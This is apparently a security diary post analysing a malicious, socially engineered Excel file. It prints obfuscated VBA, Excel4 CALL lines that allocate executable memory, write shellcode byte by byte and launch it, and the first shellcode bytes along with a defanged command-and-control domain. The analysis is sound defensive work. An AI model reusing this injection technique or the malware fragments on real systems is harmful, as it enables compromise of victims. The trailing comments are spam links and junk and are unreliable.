Mixed VBA & Excel4 Macro In a Targeted Excel Sheet
Yesterday, Nick, one of our readers, shared with us a very interesting Excel sheet and asked us to check if it was malicious. Guess what? Of course, it was and he accepted to be mentioned in a diary. Thanks to him! This time, we also have the context and how the file was used. It was delivered to the victim and this person was called beforehand to make it more confident with the file. A perfect example of social engineering attack. The Excel sheet contains details of a real-estate project. The Excel sheet is called "Penthouse_8271.xls" and, once opened, you see this:
The real-estate agency mentioned in the sheet exists and is established in Austria. When I receive a suspicious file like this one, I'm always starting with automated tools to speed up the analysis but this time, it did not work. To analyze VBA macros, one of my favorite tools is Vipermonkey but it almost crashed my REMnux environment, using a lot of memory. Let's revert to manual analysis. Some quick findings: The macro is heavily obfuscated, the code is populated with a lot of empty functions and comments. The macro does have the classic AutoOpen()
function to automatically execute it. But we have these functions:
Sub info() Tabelle1.Visible = True Tabelle1.Activate boop End Sub Sub beschreibung() Tabelle2.Visible = True Tabelle2.Activate boop End Sub Sub grundriss() Tabelle3.Visible = True Tabelle3.Activate boop End Sub Sub haftung() Tabelle5.Visible = True Tabelle5.Activate boop End Sub
You see that the function names correspond to the button seen in the picture above. The malicious code is located in boop()
and will be triggered when the user clicks on a button. Let's click on "Penthouse Overview":
Note: this is a nice trick to defeat most of the Sandboxes because a user's interaction is required.
Legit information is displayed and the macro executed. Let's have a look at the code:
Sub boop() SuperintendAuthors = Array() SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("140000888e050094095b80e037e3000ac400f32308f044900eb00046500009e3f0bc0f40090e2b4290808e27008feea" & _ "0b00040090e010009c2e58bc8213e910ac790c20051a819c21f150b01e465b126ec9b9e5ee08050ab40700bcc0c00803c118001d90fcf90ff8ff5bf" & _ "ee11f51229d88f1e51fb121c8c926120c90e0c0a200fuopurr0wdbhjdb")) SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("148e5e150510c90080d80f0f00ff8ff50200492e08059009a007ec9000ce94000204c0be90b1e8059e0c285e08353d260800914110" & _ "ebbc91ec0c4108b1e3e0e85080090b00979040fea180fcaebcc0509c1d0109000ee900002a" & _ "d6000835e30f747503217027b0a8014c11f126188044708fa174164103816408510964109f001" & _ "lwppbij1cjpchuk")) SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("14e010b96ca0090b0bffb5d03ea1f57f0e810a5690e5006ff3ccb77ffffc1fcc7e0c00619191001c6000009ec8530eb84000cc50071b" & _ "080588bc470055ceb5598818829d181e20c8909ec8700898b0008c9028ebb872ee0f764" & _ "b51e0829305ba3baee800b50f084103a0b00017c5010fec0d1ca31af1b8c04f0d0ebf3530b1c85tcquttu4jpgotwt"))
Pretty nice obfuscation! Multiple functions are called to decode all strings and finally, the following one is called. It reveals the technique used:
Function SpecialLeaving(OverDesire As String) SpecialLeaving = ExecuteExcel4Macro(OverDesire) End Function
The ExecuteExcel4Macro() is a VBA function to execute an Excel4 function[1]. Because we don't have an Excel4 macro split in cells, the classic deobfuscation tools won't work. To spread up the analysis, I added the following code to the macro:
Sub DumpExcel4(buffer as String) Dim outout As String output = "C:\temp\debug.txt" Open output For Append As #1 Write #1, buffer Close #1 End Sub Function SpecialLeaving(OverDesire As String) DumpExcel4(OverDesire) SpecialLeaving = ExecuteExcel4Macro(OverDesire) End Function
This dumped all Excel4 functions into a flat-file. Once the macro has been executed in my lab, I got a nice debug.txt file:
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",4096,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",8192,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",12288,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",16384,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",20480,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",24576,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",28672,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",32768,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",36864,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",40960,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",45056,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",49152,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",53248,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",57344,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",61440,15992,12288,64)" "CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",65536,15992,12288,64)" "CALL(""ntdll"",""memset"",""JJJJ"",65536,232, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65537,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65538,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65539,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65540,0, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65541,89, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65542,72, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65543,131, 1)" "CALL(""ntdll"",""memset"",""JJJJ"",65544,233, 1)"
We see that some memory is allocated. The last parameter of VirtualAlloc()
is 64 (0x40) which means that memory is created with the PAGE_EXECUTE_READWRITE flag (to contain executable code). Then, the payload is moved into memory byte per byte with a very long series of memset()
. Finally, the payload is executed on the last line:
"CALL(""Kernel32"",""CreateThread"",""JJJJJJB"",0,0,65536,0,0,0)"
The macro dumped 16009 lines in the file! Now, we can extract the payload:
remnux@remnux:/MalwareZoo/20220121$ grep memset debug.txt | awk -F ',' '{print $5}'|sets.py join ","
The result is a suite of characters:
232,0,0,0,0,89,72,131,233,5,186,120,62,0,0,51,192,64,144,15,132,79,36,0,0,233,107,5,0,0,252,233,63,...
The fastest way to decode this is to use Cyberchef with a simple recipe "From Decimal". I did a quick analysis of the shellcode. It connects to acrobatrelay[.]com but I don't have all the features at this time, still under investigation...
[1] https://docs.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago